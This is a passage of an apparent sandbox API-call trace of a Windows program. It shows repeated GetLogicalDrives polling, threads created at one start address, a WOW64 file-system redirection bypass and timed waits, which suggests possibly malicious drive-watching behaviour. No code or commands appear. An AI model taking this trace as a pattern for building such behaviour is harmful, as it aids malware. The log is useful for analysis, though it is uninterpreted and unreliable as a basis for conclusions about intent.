0x4 [0213.640] Sleep (dwMilliseconds=0x64) [0214.609] GetLogicalDrives () returned 0x4 [0214.609] Sleep (dwMilliseconds=0x64) [0214.806] GetLogicalDrives () returned 0x4 [0214.806] Sleep (dwMilliseconds=0x64) [0214.965] GetLogicalDrives () returned 0x4 [0214.965] Sleep (dwMilliseconds=0x64) [0216.295] GetLogicalDrives () returned 0x4 [0216.295] Sleep (dwMilliseconds=0x64) [0217.504] GetLogicalDrives () returned 0x4 [0217.504] Sleep (dwMilliseconds=0x64) [0217.967] GetLogicalDrives () returned 0x4 [0217.967] Sleep (dwMilliseconds=0x64) [0218.886] GetLogicalDrives () returned 0x4 [0218.886] Sleep (dwMilliseconds=0x64) [0219.831] GetLogicalDrives () returned 0x4 [0219.831] Sleep (dwMilliseconds=0x64) [0220.183] GetLogicalDrives () returned 0x4 [0220.183] Sleep (dwMilliseconds=0x64) [0220.742] GetLogicalDrives () returned 0x4 [0220.742] Sleep (dwMilliseconds=0x64) [0221.938] GetLogicalDrives () returned 0x4 [0221.938] Sleep (dwMilliseconds=0x64) [0222.464] GetLogicalDrives () returned 0x4 [0222.464] Sleep (dwMilliseconds=0x64) [0222.761] GetLogicalDrives () returned 0x4 [0222.762] Sleep (dwMilliseconds=0x64) [0223.226] GetLogicalDrives () returned 0x4 [0223.226] Sleep (dwMilliseconds=0x64) [0224.019] GetLogicalDrives () returned 0x4 [0224.019] Sleep (dwMilliseconds=0x64) [0224.254] GetLogicalDrives () returned 0x4 [0224.254] Sleep (dwMilliseconds=0x64) [0224.955] GetLogicalDrives () returned 0x4 [0224.955] Sleep (dwMilliseconds=0x64) [0225.469] GetLogicalDrives () returned 0x4 [0225.469] Sleep (dwMilliseconds=0x64) [0226.014] GetLogicalDrives () returned 0x4 [0226.015] Sleep (dwMilliseconds=0x64) [0226.322] GetLogicalDrives () returned 0x4 [0226.323] Sleep (dwMilliseconds=0x64) [0226.698] GetLogicalDrives () returned 0x4 [0226.698] Sleep (dwMilliseconds=0x64) [0227.039] GetLogicalDrives () returned 0x4 [0227.039] Sleep (dwMilliseconds=0x64) [0227.372] GetLogicalDrives () returned 0x4 [0227.372] Sleep (dwMilliseconds=0x64) [0227.651] GetLogicalDrives () returned 0x4 [0227.651] Sleep (dwMilliseconds=0x64) [0227.990] GetLogicalDrives () returned 0x4 [0227.990] Sleep (dwMilliseconds=0x64) [0228.589] GetLogicalDrives () returned 0x4 [0228.589] Sleep (dwMilliseconds=0x64) [0228.766] GetLogicalDrives () returned 0x4 [0228.766] Sleep (dwMilliseconds=0x64) [0229.148] GetLogicalDrives () returned 0x4 [0229.148] Sleep (dwMilliseconds=0x64) [0229.403] GetLogicalDrives () returned 0x4 [0229.403] Sleep (dwMilliseconds=0x64) [0229.702] GetLogicalDrives () returned 0x4 [0229.702] Sleep (dwMilliseconds=0x64) [0230.011] GetLogicalDrives () returned 0x4 [0230.011] Sleep (dwMilliseconds=0x64) [0230.125] GetLogicalDrives () returned 0x4 [0230.125] Sleep (dwMilliseconds=0x64) [0230.416] GetLogicalDrives () returned 0x4 [0230.416] Sleep (dwMilliseconds=0x64) [0230.751] GetLogicalDrives () returned 0x4 [0230.752] Sleep (dwMilliseconds=0x64) [0231.004] GetLogicalDrives () returned 0x4 [0231.004] Sleep (dwMilliseconds=0x64) [0231.340] GetLogicalDrives () returned 0x4 [0231.341] Sleep (dwMilliseconds=0x64) [0231.701] GetLogicalDrives () returned 0x4 [0231.702] Sleep (dwMilliseconds=0x64) [0231.909] GetLogicalDrives () returned 0x4 [0231.909] Sleep (dwMilliseconds=0x64) [0232.029] GetLogicalDrives () returned 0x4 [0232.030] Sleep (dwMilliseconds=0x64) [0232.313] GetLogicalDrives () returned 0x4 [0232.313] Sleep (dwMilliseconds=0x64) [0232.598] GetLogicalDrives () returned 0x4 [0232.599] Sleep (dwMilliseconds=0x64) [0232.763] GetLogicalDrives () returned 0x4 [0232.764] Sleep (dwMilliseconds=0x64) [0233.166] GetLogicalDrives () returned 0x4 [0233.166] Sleep (dwMilliseconds=0x64) [0233.608] GetLogicalDrives () returned 0x4 [0233.608] Sleep (dwMilliseconds=0x64) [0233.722] GetLogicalDrives () returned 0x4 [0233.722] Sleep (dwMilliseconds=0x64) [0233.978] GetLogicalDrives () returned 0x4 [0233.979] Sleep (dwMilliseconds=0x64) [0234.373] GetLogicalDrives () returned 0x4 [0234.374] Sleep (dwMilliseconds=0x64) [0234.632] GetLogicalDrives () returned 0x4 [0234.632] Sleep (dwMilliseconds=0x64) [0234.796] GetLogicalDrives () returned 0x4 [0234.796] Sleep (dwMilliseconds=0x64) [0234.929] GetLogicalDrives () returned 0x4 [0234.929] Sleep (dwMilliseconds=0x64) [0235.068] GetLogicalDrives () returned 0x4 [0235.068] Sleep (dwMilliseconds=0x64) [0236.296] GetLogicalDrives () returned 0x4 [0236.296] Sleep (dwMilliseconds=0x64) [0238.427] GetLogicalDrives () returned 0x4 [0238.427] Sleep (dwMilliseconds=0x64) [0238.796] GetLogicalDrives () returned 0x4 [0238.796] Sleep (dwMilliseconds=0x64) [0239.084] GetLogicalDrives () returned 0x4 [0239.084] Sleep (dwMilliseconds=0x64) [0239.594] GetLogicalDrives () returned 0x4 [0239.595] Sleep (dwMilliseconds=0x64) [0240.980] GetLogicalDrives () returned 0x4 [0240.981] Sleep (dwMilliseconds=0x64) [0241.509] GetLogicalDrives () returned 0x4 [0241.509] Sleep (dwMilliseconds=0x64) [0241.869] GetLogicalDrives () returned 0x4 [0241.869] Sleep (dwMilliseconds=0x64) [0242.223] GetLogicalDrives () returned 0x4 [0242.223] Sleep (dwMilliseconds=0x64) [0242.679] GetLogicalDrives () returned 0x4 [0242.680] Sleep (dwMilliseconds=0x64) [0243.076] GetLogicalDrives () returned 0x4 [0243.076] Sleep (dwMilliseconds=0x64) [0244.099] GetLogicalDrives () returned 0x4 [0244.099] Sleep (dwMilliseconds=0x64) [0244.234] GetLogicalDrives () returned 0x4 [0244.234] Sleep (dwMilliseconds=0x64) [0244.544] GetLogicalDrives () returned 0x4 [0244.544] Sleep (dwMilliseconds=0x64) [0245.414] GetLogicalDrives () returned 0x4 [0245.414] Sleep (dwMilliseconds=0x64) [0245.843] GetLogicalDrives () returned 0x4 [0245.843] Sleep (dwMilliseconds=0x64) [0246.059] GetLogicalDrives () returned 0x4 [0246.060] Sleep (dwMilliseconds=0x64) [0246.493] GetLogicalDrives () returned 0x4 [0246.494] Sleep (dwMilliseconds=0x64) [0246.762] GetLogicalDrives () returned 0x4 [0246.762] Sleep (dwMilliseconds=0x64) [0247.240] GetLogicalDrives () returned 0x4 [0247.240] Sleep (dwMilliseconds=0x64) [0247.434] GetLogicalDrives () returned 0x4 [0247.434] Sleep (dwMilliseconds=0x64) [0247.957] GetLogicalDrives () returned 0x4 [0247.957] Sleep (dwMilliseconds=0x64) [0248.183] GetLogicalDrives () returned 0x4 [0248.183] Sleep (dwMilliseconds=0x64) [0248.777] GetLogicalDrives () returned 0x4 [0248.777] Sleep (dwMilliseconds=0x64) [0249.349] GetLogicalDrives () returned 0x4 [0249.349] Sleep (dwMilliseconds=0x64) [0249.749] GetLogicalDrives () returned 0x4 [0249.749] Sleep (dwMilliseconds=0x64) [0250.180] GetLogicalDrives () returned 0x4 [0250.180] Sleep (dwMilliseconds=0x64) [0250.621] GetLogicalDrives () returned 0x4 [0250.621] Sleep (dwMilliseconds=0x64) [0251.044] GetLogicalDrives () returned 0x4 [0251.044] Sleep (dwMilliseconds=0x64) [0251.208] GetLogicalDrives () returned 0x4 [0251.208] Sleep (dwMilliseconds=0x64) [0251.650] GetLogicalDrives () returned 0x4 [0251.651] Sleep (dwMilliseconds=0x64) [0251.931] GetLogicalDrives () returned 0x4 [0251.932] Sleep (dwMilliseconds=0x64) [0252.747] GetLogicalDrives () returned 0x4 [0252.748] Sleep (dwMilliseconds=0x64) [0253.087] GetLogicalDrives () returned 0x4 [0253.087] Sleep (dwMilliseconds=0x64) [0253.505] GetLogicalDrives () returned 0x4 [0253.505] Sleep (dwMilliseconds=0x64) [0253.738] GetLogicalDrives () returned 0x4 [0253.738] Sleep (dwMilliseconds=0x64) [0255.672] GetLogicalDrives () returned 0x4 [0255.672] Sleep (dwMilliseconds=0x64) [0256.667] GetLogicalDrives () returned 0x4 [0256.667] Sleep (dwMilliseconds=0x64) [0256.977] GetLogicalDrives () returned 0x4 [0256.977] Sleep (dwMilliseconds=0x64) [0257.706] GetLogicalDrives () returned 0x4 [0257.707] Sleep (dwMilliseconds=0x64) [0258.336] GetLogicalDrives () returned 0x4 [0258.336] Sleep (dwMilliseconds=0x64) [0258.614] GetLogicalDrives () returned 0x4 [0258.614] Sleep (dwMilliseconds=0x64) [0258.832] GetLogicalDrives () returned 0x4 [0258.832] Sleep (dwMilliseconds=0x64) [0259.114] GetLogicalDrives () returned 0x4 [0259.114] Sleep (dwMilliseconds=0x64) [0259.794] GetLogicalDrives () returned 0x4 [0259.794] Sleep (dwMilliseconds=0x64) [0260.106] GetLogicalDrives () returned 0x4 [0260.106] Sleep (dwMilliseconds=0x64) [0260.220] GetLogicalDrives () returned 0x4 [0260.220] Sleep (dwMilliseconds=0x64) [0260.555] GetLogicalDrives () returned 0x4 [0260.555] Sleep (dwMilliseconds=0x64) [0260.903] GetLogicalDrives () returned 0x4 [0260.903] Sleep (dwMilliseconds=0x64) [0261.146] GetLogicalDrives () returned 0x4 [0261.147] Sleep (dwMilliseconds=0x64) [0261.300] GetLogicalDrives () returned 0x4 [0261.300] Sleep (dwMilliseconds=0x64) [0261.516] GetLogicalDrives () returned 0x4 [0261.516] Sleep (dwMilliseconds=0x64) [0261.684] GetLogicalDrives () returned 0x4 [0261.685] Sleep (dwMilliseconds=0x64) [0262.123] GetLogicalDrives () returned 0x4 [0262.123] Sleep (dwMilliseconds=0x64) [0262.714] GetLogicalDrives () returned 0x4 [0262.714] Sleep (dwMilliseconds=0x64) [0263.009] GetLogicalDrives () returned 0x4 [0263.009] Sleep (dwMilliseconds=0x64) [0263.331] GetLogicalDrives () returned 0x4 [0263.332] Sleep (dwMilliseconds=0x64) [0263.518] GetLogicalDrives () returned 0x4 [0263.518] Sleep (dwMilliseconds=0x64) [0263.713] GetLogicalDrives () returned 0x4 [0263.713] Sleep (dwMilliseconds=0x64) [0263.975] GetLogicalDrives () returned 0x4 [0263.976] Sleep (dwMilliseconds=0x64) [0264.099] GetLogicalDrives () returned 0x4 [0264.099] Sleep (dwMilliseconds=0x64) [0264.329] GetLogicalDrives () returned 0x4 [0264.329] Sleep (dwMilliseconds=0x64) [0264.597] GetLogicalDrives () returned 0x4 [0264.597] Sleep (dwMilliseconds=0x64) [0264.716] GetLogicalDrives () returned 0x4 [0264.716] Sleep (dwMilliseconds=0x64) [0264.968] GetLogicalDrives () returned 0x4 [0264.968] Sleep (dwMilliseconds=0x64) [0265.155] GetLogicalDrives () returned 0x4 [0265.155] Sleep (dwMilliseconds=0x64) [0265.491] GetLogicalDrives () returned 0x4 [0265.491] Sleep (dwMilliseconds=0x64) [0265.795] GetLogicalDrives () returned 0x4 [0265.795] Sleep (dwMilliseconds=0x64) [0266.116] GetLogicalDrives () returned 0x4 [0266.116] Sleep (dwMilliseconds=0x64) [0266.343] GetLogicalDrives () returned 0x4 [0266.343] Sleep (dwMilliseconds=0x64) [0266.612] GetLogicalDrives () returned 0x4 [0266.612] Sleep (dwMilliseconds=0x64) [0266.782] GetLogicalDrives () returned 0x4 [0266.782] Sleep (dwMilliseconds=0x64) [0267.086] GetLogicalDrives () returned 0x4 [0267.086] Sleep (dwMilliseconds=0x64) [0267.328] GetLogicalDrives () returned 0x4 [0267.328] Sleep (dwMilliseconds=0x64) [0267.451] GetLogicalDrives () returned 0x4 [0267.504] Sleep (dwMilliseconds=0x64) [0268.562] GetLogicalDrives () returned 0x4 [0268.562] Sleep (dwMilliseconds=0x64) [0268.799] GetLogicalDrives () returned 0x4 [0268.800] Sleep (dwMilliseconds=0x64) [0270.094] GetLogicalDrives () returned 0x4 [0270.094] Sleep (dwMilliseconds=0x64) [0271.026] GetLogicalDrives () returned 0x4 [0271.026] Sleep (dwMilliseconds=0x64) [0272.313] GetLogicalDrives () returned 0x4 [0272.313] Sleep (dwMilliseconds=0x64) [0272.713] GetLogicalDrives () returned 0x4 [0272.713] Sleep (dwMilliseconds=0x64) [0272.951] GetLogicalDrives () returned 0x4 [0272.951] Sleep (dwMilliseconds=0x64) [0273.387] GetLogicalDrives () returned 0x4 [0273.388] Sleep (dwMilliseconds=0x64) [0273.580] GetLogicalDrives () returned 0x4 [0273.580] Sleep (dwMilliseconds=0x64) [0274.036] GetLogicalDrives () returned 0x4 [0274.036] Sleep (dwMilliseconds=0x64) [0274.413] GetLogicalDrives () returned 0x4 [0274.413] Sleep (dwMilliseconds=0x64) [0274.676] GetLogicalDrives () returned 0x4 [0274.676] Sleep (dwMilliseconds=0x64) [0274.945] GetLogicalDrives () returned 0x4 [0274.945] Sleep (dwMilliseconds=0x64) [0275.120] GetLogicalDrives () returned 0x4 [0275.121] Sleep (dwMilliseconds=0x64) [0275.547] GetLogicalDrives () returned 0x4 [0275.547] Sleep (dwMilliseconds=0x64) [0276.188] GetLogicalDrives () returned 0x4 [0276.189] Sleep (dwMilliseconds=0x64) [0276.401] GetLogicalDrives () returned 0x4 [0276.401] Sleep (dwMilliseconds=0x64) [0277.066] GetLogicalDrives () returned 0x4 [0277.067] Sleep (dwMilliseconds=0x64) [0277.373] GetLogicalDrives () returned 0x4 [0277.373] Sleep (dwMilliseconds=0x64) [0277.632] GetLogicalDrives () returned 0x4 [0277.632] Sleep (dwMilliseconds=0x64) [0278.181] GetLogicalDrives () returned 0x4 [0278.181] Sleep (dwMilliseconds=0x64) [0278.702] GetLogicalDrives () returned 0x4 [0278.702] Sleep (dwMilliseconds=0x64) [0279.106] GetLogicalDrives () returned 0x4 [0279.106] Sleep (dwMilliseconds=0x64) [0279.794] GetLogicalDrives () returned 0x4 [0279.794] Sleep (dwMilliseconds=0x64) [0280.397] GetLogicalDrives () returned 0x4 [0280.397] Sleep (dwMilliseconds=0x64) [0281.181] GetLogicalDrives () returned 0x4 [0281.181] Sleep (dwMilliseconds=0x64) Thread: id = 33 os_tid = 0x5fc Thread: id = 34 os_tid = 0x644 [0206.308] GetTickCount () returned 0x113e8e9 [0206.309] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x24) returned 0x5e78e0 [0206.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e78e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c [0206.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e78e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4 [0206.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e78e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac [0206.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e78e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4 [0206.330] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e4198 [0206.330] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e4198, Size=0x20) returned 0x640950 [0206.330] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e4198 [0206.330] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e4198, Size=0x20) returned 0x640978 [0206.331] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.331] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.331] Wow64DisableWow64FsRedirection (in: OldValue=0x29fff84 | out: OldValue=0x29fff84*=0x0) returned 1 [0206.331] lstrlenW (lpString="kernel32.dll") returned 12 [0206.331] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x640950 | out: hHeap=0x590000) returned 1 [0206.332] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.332] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x640978 | out: hHeap=0x590000) returned 1 [0206.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5caea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc [0206.341] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0206.966] GetTickCount () returned 0x113eb78 [0206.966] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0207.267] GetTickCount () returned 0x113eca0 [0207.267] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0207.587] GetTickCount () returned 0x113ede8 [0207.587] GetTickCount () returned 0x113ede8 [0207.587] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0208.004] GetTickCount () returned 0x113ef8d [0208.004] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0208.238] GetTickCount () returned 0x113f077 [0208.238] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0208.551] GetTickCount () returned 0x113f1af [0208.551] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0208.815] GetTickCount () returned 0x113f2b8 [0208.815] GetTickCount () returned 0x113f2b8 [0208.815] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0209.052] GetTickCount () returned 0x113f3a2 [0209.052] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0209.301] GetTickCount () returned 0x113f49c [0209.301] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0209.795] GetTickCount () returned 0x113f670 [0209.795] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0210.083] GetTickCount () returned 0x113f789 [0210.083] GetTickCount () returned 0x113f789 [0210.083] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0210.327] GetTickCount () returned 0x113f882 [0210.327] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0210.912] GetTickCount () returned 0x113fa76 [0210.912] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0211.351] GetTickCount () returned 0x113fbec [0211.351] GetTickCount () returned 0x113fbec [0211.352] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0212.275] GetTickCount () returned 0x113ff46 [0212.275] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0213.714] GetTickCount () returned 0x1140455 [0213.714] GetTickCount () returned 0x1140455 [0213.714] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0214.615] GetTickCount () returned 0x114079f [0214.615] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0214.806] GetTickCount () returned 0x114084b [0214.807] GetTickCount () returned 0x114085a [0214.812] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0214.968] GetTickCount () returned 0x11408e7 [0214.968] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0216.296] GetTickCount () returned 0x1140dc7 [0216.296] GetTickCount () returned 0x1140dc7 [0216.296] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0217.506] GetTickCount () returned 0x11411fb [0217.506] GetTickCount () returned 0x11411fb [0217.507] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0217.968] GetTickCount () returned 0x1141391 [0217.968] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0218.887] GetTickCount () returned 0x11416fb [0218.887] GetTickCount () returned 0x11416fb [0218.887] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0219.832] GetTickCount () returned 0x1141a74 [0219.832] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0220.182] GetTickCount () returned 0x1141bbb [0220.182] GetTickCount () returned 0x1141bbb [0220.182] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0220.741] GetTickCount () returned 0x1141dce [0220.741] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0221.910] GetTickCount () returned 0x1142260 [0221.914] GetTickCount () returned 0x114226f [0221.938] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0222.463] GetTickCount () returned 0x1142482 [0222.463] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0222.761] GetTickCount () returned 0x11425aa [0222.761] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0223.223] GetTickCount () returned 0x114277e [0223.223] GetTickCount () returned 0x114277e [0223.223] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0224.018] GetTickCount () returned 0x1142a9a [0224.018] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0224.253] GetTickCount () returned 0x1142b84 [0224.253] GetTickCount () returned 0x1142b84 [0224.253] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0224.954] GetTickCount () returned 0x1142e42 [0224.954] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0225.468] GetTickCount () returned 0x1143045 [0225.468] GetTickCount () returned 0x1143045 [0225.468] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0226.014] GetTickCount () returned 0x1143267 [0226.014] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0226.322] GetTickCount () returned 0x114339f [0226.322] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0226.697] GetTickCount () returned 0x1143515 [0226.697] GetTickCount () returned 0x1143515 [0226.697] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0227.038] GetTickCount () returned 0x114366c [0227.038] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0227.371] GetTickCount () returned 0x11437b4 [0227.371] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0227.650] GetTickCount () returned 0x11438cd [0227.650] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0227.989] GetTickCount () returned 0x1143a24 [0227.989] GetTickCount () returned 0x1143a24 [0227.989] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0228.588] GetTickCount () returned 0x1143c75 [0228.588] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0228.765] GetTickCount () returned 0x1143d20 [0228.765] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0229.147] GetTickCount () returned 0x1143ea6 [0229.147] GetTickCount () returned 0x1143ea6 [0229.147] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0229.402] GetTickCount () returned 0x1143fa0 [0229.402] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0229.701] GetTickCount () returned 0x11440c8 [0229.701] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0230.010] GetTickCount () returned 0x1144200 [0230.010] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0230.124] GetTickCount () returned 0x114426d [0230.124] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0230.406] GetTickCount () returned 0x1144396 [0230.407] GetTickCount () returned 0x1144396 [0230.407] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0230.751] GetTickCount () returned 0x11444ed [0230.751] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0231.003] GetTickCount () returned 0x11445e7 [0231.003] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0231.340] GetTickCount () returned 0x114472e [0231.340] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0231.700] GetTickCount () returned 0x1144895 [0231.700] GetTickCount () returned 0x1144895 [0231.700] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0231.908] GetTickCount () returned 0x114496f [0231.908] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0232.029] GetTickCount () returned 0x11449ec [0232.029] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0232.312] GetTickCount () returned 0x1144b05 [0232.312] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0232.597] GetTickCount () returned 0x1144c1e [0232.598] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0232.762] GetTickCount () returned 0x1144cc9 [0232.762] GetTickCount () returned 0x1144cc9 [0232.762] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0233.165] GetTickCount () returned 0x1144e4f [0233.165] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0233.603] GetTickCount () returned 0x1145004 [0233.603] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0233.719] GetTickCount () returned 0x1145081 [0233.719] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0233.977] GetTickCount () returned 0x114517b [0233.977] GetTickCount () returned 0x114517b [0233.977] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0234.372] GetTickCount () returned 0x1145310 [0234.372] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0234.631] GetTickCount () returned 0x114540a [0234.631] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0234.795] GetTickCount () returned 0x11454b5 [0234.795] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0234.928] GetTickCount () returned 0x1145532 [0234.928] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0235.067] GetTickCount () returned 0x11455af [0235.067] GetTickCount () returned 0x11455af [0235.067] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0236.295] GetTickCount () returned 0x1145a7f [0236.295] GetTickCount () returned 0x1145a7f [0236.295] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0238.425] GetTickCount () returned 0x11462d9 [0238.425] GetTickCount () returned 0x11462d9 [0238.425] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0238.795] GetTickCount () returned 0x114643f [0238.795] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0239.083] GetTickCount () returned 0x1146568 [0239.083] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0239.593] GetTickCount () returned 0x114675b [0239.593] GetTickCount () returned 0x114675b [0239.593] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0240.781] GetTickCount () returned 0x1146c0c [0240.781] GetTickCount () returned 0x1146c0c [0240.781] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0241.223] GetTickCount () returned 0x1146d73 [0241.223] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0241.723] GetTickCount () returned 0x1146f66 [0241.723] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0242.096] GetTickCount () returned 0x11470dd [0242.096] GetTickCount () returned 0x11470dd [0242.096] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0242.265] GetTickCount () returned 0x1147188 [0242.265] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0242.680] GetTickCount () returned 0x114731e [0242.680] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0243.077] GetTickCount () returned 0x11474b3 [0243.077] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0244.100] GetTickCount () returned 0x11478a9 [0244.100] GetTickCount () returned 0x11478a9 [0244.100] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0244.234] GetTickCount () returned 0x1147936 [0244.234] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0244.544] GetTickCount () returned 0x1147a6e [0244.544] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0245.415] GetTickCount () returned 0x1147dd7 [0245.415] GetTickCount () returned 0x1147dd7 [0245.415] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0245.844] GetTickCount () returned 0x1147f7d [0245.844] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x64) returned 0x102 [0246.060] GetTickCount () returned 0x1148057 [0246.060] 